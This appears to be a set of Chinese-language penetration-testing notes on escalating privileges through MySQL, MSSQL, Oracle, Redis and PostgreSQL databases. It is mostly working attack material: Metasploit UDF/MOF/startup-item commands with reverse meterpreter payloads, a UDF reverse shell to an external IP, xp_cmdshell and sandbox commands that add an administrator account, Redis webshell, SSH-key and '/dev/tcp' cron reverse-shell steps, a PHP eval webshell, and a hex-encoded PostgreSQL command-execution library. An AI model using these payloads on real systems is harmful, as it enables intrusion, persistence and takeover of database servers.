对数据库进行提权，前提条件就是要知道登录名和密码，数据库对应的最高权限如下
mysql：root mssql：sa oracle：dba
如何获取数据库密码呢
1、数据库的存储文件或备份文件 2、网站应用源码中的数据库配置文件 3、采用工具或脚本爆破(需要开启远程访问)
MYSQL-UDF&MOF&启动项&反弹Shell
UDF
获取密码-开启外联-高版本创建目录-MSF导出
1.mysql<5.2 导出目录c:/windows或system32 2.mysql=>5.2 导出安装目录/lib/plugin/ # 查看版本 select version() # 查看安装目录 select @@basedir # 开启导出权限 在my.ini设置后并重启 secure_file_priv= # 开启远程 GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
使用MSF中的exploit/multi/mysql/mysql_udf_payload 模块可以进行UDF提权,
MSF会将dll文件写入lib\plugin\目录下(前提是该目录存在，需手工创建) 该dll文件中包含sys_exec()和sys_eval()两个函数，但是默认只创建sys_exec()函数 该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数，来执行有回显的命令。
开启msf 对mysql进行提权
use exploit/multi/mysql/mysql_udf_payload set payload windows/meterpreter/reverse_tcp set password root set rhosts 47.102.195.100 run
成功的后就会在目录下发现多了一个dll文件 这是手动创建一个函数 就可以执行系统命令了
# 查询位置 select * from mysql.func where name = "sys_exec"; # 绑定dll create function sys_eval returns string soname "QnCPnNzi.dll"; # 执行命令 select sys_eval("whoami");
MOF
use exploit/windows/mysql/mysql_mof set rhosts 192.168.137.126 set username root set password root run
执行成功后返回一个meterpreter 获取的权限就是system
启动项
use exploit/windows/mysql/mysql_start_up set rhosts 192.168.137.126 set username root set password root run
多出个木马 服务器下次重启后就会上线msf
开启监听
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.137.12 set lport 4444 run
双击木马 模拟重启
反弹shell
https://blog.csdn.net/weixin_43801718/article/details/105493042
set @a=concat('',二进制内容参考csdn); create table Ghost(data LONGBLOB); insert into Ghost values(""); update Ghost set data = @a; select data from Ghost into DUMPFILE 'C:\\phpstudy2\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; create function backshell returns string soname 'udf.dll'; select backshell('47.94.236.117',7788)
MSSQL-xp_cmdshell&sp_oacreate&沙盒
xp_cmdshell进行提权
xp_cmdshell默认在mssql2000中是开启的，在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。 启用： EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; 关闭： exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 0; reconfigure;
使用navicat连接 默认关闭
EXEC master.dbo.xp_cmdshell '命令'
如果xp_cmdshell被删除了，可以上传xplog70.dll进行恢复 exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
sp_oacreate进行提权
主要是用来调用OLE对象，利用OLE对象的run方法执行系统命令。
启用： EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE; 关闭： EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 0; RECONFIGURE WITH OVERRIDE; 执行： declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\s
SQL Server 沙盒提权
exec sp_configure 'show advanced options',1;reconfigure; exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure; --关闭沙盒模式，如果一次执行全部代码有问题，先执行上面两句代码。 exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; --查询是否正常关闭，经过测试发现沙盒模式无论是开，还是关，都不会影响我们执行下面的语句。 exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode' --执行系统命令 无回显 select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user ajie ajie /add")') select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators ajie /add")') 沙盒模式SandBoxMode参数含义（默认是2） `0`：在任何所有者中禁止启用安全模式 `1` ：为仅在允许范围内 `2` ：必须在access模式下 `3`：完全开启 openrowset是可以通过OLE DB访问SQL Server数据库，OLE DB是应用程序链接到SQL Server的的驱动程序。 --恢复配置 --exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; --exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure; --exec sp_configure 'show advanced options',0;reconfigure;
Oracle-普通用户&注入提升模式&DBA模式
1、普通用户模式： 前提是拥有一个普通的oracle连接账号，不需要DBA权限，可提权至DBA，并以oracle实例运行的权限执行操作系统命令。 2、DBA用户模式：（自动化工具演示） 拥有DBA账号密码，可以省去自己手动创建存储过程的繁琐步骤，一键执行测试。 3、注入提升模式：（Sqlmap测试演示） 拥有一个oracle注入点，可以通过注入点直接执行系统命令，此种模式没有实现回显
通过webshell 发现了数据库密码
scott ：tiger
使用工具进行提权
注入提权就是通过sqlmap 进行提权
注入url http://10.4.7.60:8080/sql.jsp?id=7698
python sqlmap.py -u http://10.4.7.60:8080/sql.jsp?id=7698 --is-dba
通过普通用户注入，得到了dba的权限。
redis写webshell&ssh免密&定时任务&主从RCE
webshell
config set dir /var/www/html/ # 网站根路径 config set dbfilename shell.php set 1 "<?php @eval($_POST['123']);?>" save
ssh免密
# 在攻击机上创建密钥 ssh-keygen–trsa # redis操作 config set dir /root/.ssh config set dbfilename authorized_keys save # 攻击机操作 (echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt cat key.txt |redis-cli -h 10.4.7.50 -x set crack
定时任务
# redis 操作 set xx "\n* * * * * bash -i >& /dev/tcp/10.4.7.10/8888 0>&1\n" config set dir /var/spool/cron/ config set dbfilename root save # vps 执行 nc -lvp 8888
主从RCE
漏洞存在于4.x、5.x版本中，Redis提供了主从模式，主从模式指使用一个redis作为主机，其他的作为备份机，主机从机数据都是一样的，从机只负责读，主机只负责写。在Reids 4.x之后，通过外部拓展，可以实现在redis中实现一个新的Redis命令，构造恶意.so文件。在两个Redis实例设置主从模式的时候，Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件，即可执行命令。
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand（需要make） git clone https://github.com/Ridter/redis-rce.git python redis-rce.py -r 目标ip -p 目标端口 -L 本地ip -f 恶意.so so文件是通过RedisModules make生成的。
PostgreSQL 写webshell&命令执行
使用数据库webshell
drop table pwn; create table pwn (t TEXT); insert into pwn(t) values ('<?php @system("$_GET[cmd]");?>'); select * from pwn; copy pwn(t) to '/var/www/html/cmd.php'; drop table pwn; copy (select '<?php phpinfo();?>') to '/var/www/html/cmd.php';
使用数据库执行系统命令
执行系统命令需要用到udf库，(这个有点类似mysql 提权)
创建.so,执行自己需要用的命令
SELECT lo_create(9023); insert into pg_largeobject values (9023, 0, decode('7f454c4602010100000000000000000003003e0001000000000d0000000000004000000000000000e8210000000000000000000040003800070040001a00190001000000050000000000000000000000000000000000000000000000000000004c140000000000004c1400000000000000002000000000000100000006000000f81d000000000000f81d200000000000f81d200000000000d802000000000000e00200000000000000002000000000000200000006000000181e000000000000181e200000000000181e200000000000c001000000000000c00100000000000008000000000000000400000004000000c801000000000000c801000000000000c80100000000000024000000000000002400000000000000040000000000000050e5746404000000cc11000000000000cc11000000000000cc110000000000006c000000000000006c00000000000000040000000000000051e574640600000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000052e5746404000000f81d000000000000f81d200000000000f81d200000000000080200000000000008020000000000000100000000000000040000001400000003000000474e550052705bc9352a28aa252e8edf0fbc5d4c32e634e800000000030000001a00000002000000070000008440030810890c99880c008dc84400001a0000002100000026000000325e541ea868be124245d5ec2e67541eaa5fbe12bae3927c5f4de3214aad229d32a1f45bd871581cb88df10e25681b32c60da6d4ead3ef0e6637d3ed339268fe000000000000000000000000000000000000000000000000000000000000000003000900580b0000000000000000000000000000de00000012000000000000000000000000000000000000000901000012000000000000000000000000000000000000001c00000020000000000000000000000000000000000000007601000012000000000000000000000000000000000000006f01000012000000000000000000000000000000000000003a0100001200000000000000000000000000000000000000d60000001200000000000000000000000000000000000000110100001200000000000000000000000000000000000000fb0000001200000000000000000000000000000000000000690100001200000000000000000000000000000000000000010000002000000000000000000000000000000000000000c500000010000000000000000000000000000000000000009800000012000000000000000000000000000000000000006301000012000000000000000000000000000000000000000101000012000000000000000000000000000000000000003f0100001200000000000000000000000000000000000000f500000012000000000000000000000000000000000000005d0100001200000000000000000000000000000000000000320100001200000000000000000000000000000000000000610000002000000000000000000000000000000000000000380000002000000000000000000000000000000000000000520000002200000000000000000000000000000000000000dd00000010000000000000000000000000000000000000002d0100001200000000000000000000000000000000000000e300000012000b00d20e0000000000000800000000000000bc00000012000b00850e0000000000004d000000000000008601000010001600d0202000000000000000000000000000b300000012000b007d0e0000000000000800000000000000ec00000012000b00da0e000000000000c3000000000000009901000010001700d82020000000000000000000000000005001000012000b003b1000000000000031010000000000001801000012000b009d0f00000000000008000000000000008300000012000b00ed0d00000000000030000000000000008d01000010001700d02020000000000000000000000000001000000012000900580b00000000000000000000000000002101000012000b00a50f0000000000008e000000000000007500000012000b00e50d00000000000008000000000000001600000012000c006c1100000000000000000000000000004701000012000b00331000000000000008000000000000009f00000012000b001d0e0000000000006000000000000000005f5f676d6f6e5f73746172745f5f005f696e6974005f66696e69005f49544d5f64657265676973746572544d436c6f6e655461626c65005f49544d5f7265676973746572544d436c6f6e655461626c65005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c61737365730050675f6d616769635f66756e6300746578745f7074725f746f5f636861725f707472006d616c6c6f63006368725f7074725f746f5f746578745f7074720070675f66696e666f5f7379735f657865630070675f6465746f6173745f646174756d0073797374656d0070667265650070675f66696e666f5f7379735f6576616c00706f70656e006667657473007265616c6c6f63007374726e6370790070636c6f73650070675f66696e666f5f7379735f62696e6576616c00666f726b00737973636f6e66006d6d617000776169747069640070675f66696e666f5f7379735f66696c657265616400666f70656e00667365656b006674656c6c0066636c6f7365006672656164006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e3500000000000200', 'hex')); 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insert into pg_largeobject values (9023, 3, decode('00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b00d000000000000700d0000000000000000000000000000101e20000000000001000000000000007c010000000000000c00000000000000580b0000000000000d000000000000006c110000000000001900000000000000f81d2000000000001b0000000000000008000000000000001a00000000000000001e2000000000001c000000000000000800000000000000f5feff6f00000000f00100000000000005000000000000005006000000000000060000000000000060020000000000000a00000000000000aa010000000000000b00000000000000180000000000000003000000000000000020200000000000020000000000000028020000000000001400000000000000070000000000000017000000000000003009000000000000070000000000000070080000000000000800000000000000c00000000000000009000000000000001800000000000000feffff6f000000005008000000000000ffffff6f000000000100000000000000f0ffff6f00000000fa07000000000000f9ffff6f000000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', 'hex')); insert into pg_largeobject values (9023, 4, decode('181e20000000000000000000000000000000000000000000960b000000000000a60b000000000000b60b000000000000c60b000000000000d60b000000000000e60b000000000000f60b000000000000060c000000000000160c000000000000260c000000000000360c000000000000460c000000000000560c000000000000660c000000000000760c000000000000860c000000000000960c000000000000a60c000000000000b60c000000000000c60c000000000000d60c000000000000e60c000000000000f60c0000000000004743433a2028474e552920342e382e3520323031353036323320285265642048617420342e382e352d31362900002e7368737472746162002e6e6f74652e676e752e6275696c642d6964002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e696e69745f6172726179002e66696e695f6172726179002e6a6372002e646174612e72656c2e726f002e64796e616d6963002e676f74002e676f742e706c74002e627373002e636f6d6d656e74000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b000000070000000200000000000000c801000000000000c80100000000000024000000000000000000000000000000040000000000000000000000000000001e000000f6ffff6f0200000000000000f001000000000000f0010000000000006c00000000000000030000000000000008000000000000000000000000000000280000000b000000020000000000000060020000000000006002000000000000f0030000000000000400000002000000080000000000000018000000000000003000000003000000020000000000000050060000000000005006000000000000aa0100000000000000000000000000000100000000000000000000000000000038000000ffffff6f0200000000000000fa07000000000000fa07000000000000540000000000000003000000000000000200000000000000020000000000000045000000feffff6f02000000000000005008000000000000500800000000000020000000000000000400000001000000080000000000000000000000000000005400000004000000020000000000000070080000000000007008000000000000c0000000000000000300000000000000080000000000000018000000000000005e000000040000004200000000000000300900000000000030090000000000002802000000000000030000000a0000000800000000000000180000000000000068000000010000000600000000000000580b000000000000580b0000000000001a0000000000000000000000000000000400000000000000000000000000000063000000010000000600000000000000800b000000000000800b00000000000080010000000000000000000000000000100000000000000010000000000000006e000000010000000600000000000000000d000000000000000d0000000000006c04000000000000000000000000000010000000000000000000000000000000740000000100000006000000000000006c110000000000006c1100000000000009000000000000000000000000000000040000000000000000000000000000007a000000010000000200000000000000801100000000000080110000000000004c0000000000000000000000000000001000000000000000000000000000000082000000010000000200000000000000cc11000000000000cc110000000000006c00000000000000000000000000000004000000000000000000000000000000900000000100000002000000000000003812000000000000381200000000000014020000000000000000000000000000080000000000000000000000000000009a0000000e0000000300000000000000f81d200000000000f81d0000000000000800000000000000000000000000000008000000000000000000000000000000a60000000f0000000300000000000000001e200000000000001e0000000000000800000000000000000000000000000008000000000000000000000000000000b2000000010000000300000000000000081e200000000000081e0000000000000800000000000000000000000000000008000000000000000000000000000000b7000000010000000300000000000000101e200000000000101e0000000000000800000000000000000000000000000008000000000000000000000000000000c4000000060000000300000000000000181e200000000000181e000000000000c001000000000000040000000000000008000000000000001000000000000000cd000000010000000300000000000000d81f200000000000d81f0000000000002800000000000000000000000000000008000000000000000800000000000000d200000001000000030000000000000000202000000000000020000000000000d000000000000000000000000000000008000000000000000800000000000000db000000080000000300000000000000d020200000000000d0200000000000000800000000000000000000000000000001000000000000000000000000000000e00000000100000030000000000000000000000000000000', 'hex')); insert into pg_largeobject values (9023, 5, decode('d0200000000000002d00000000000000000000000000000001000000000000000100000000000000010000000300000000000000000000000000000000000000fd20000000000000e900000000000000000000000000000001000000000000000000000000000000', 'hex')); SELECT lo_export(9023, '/tmp/testeval.so');
创建函数
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
执行命令
select sys_eval('whoami');
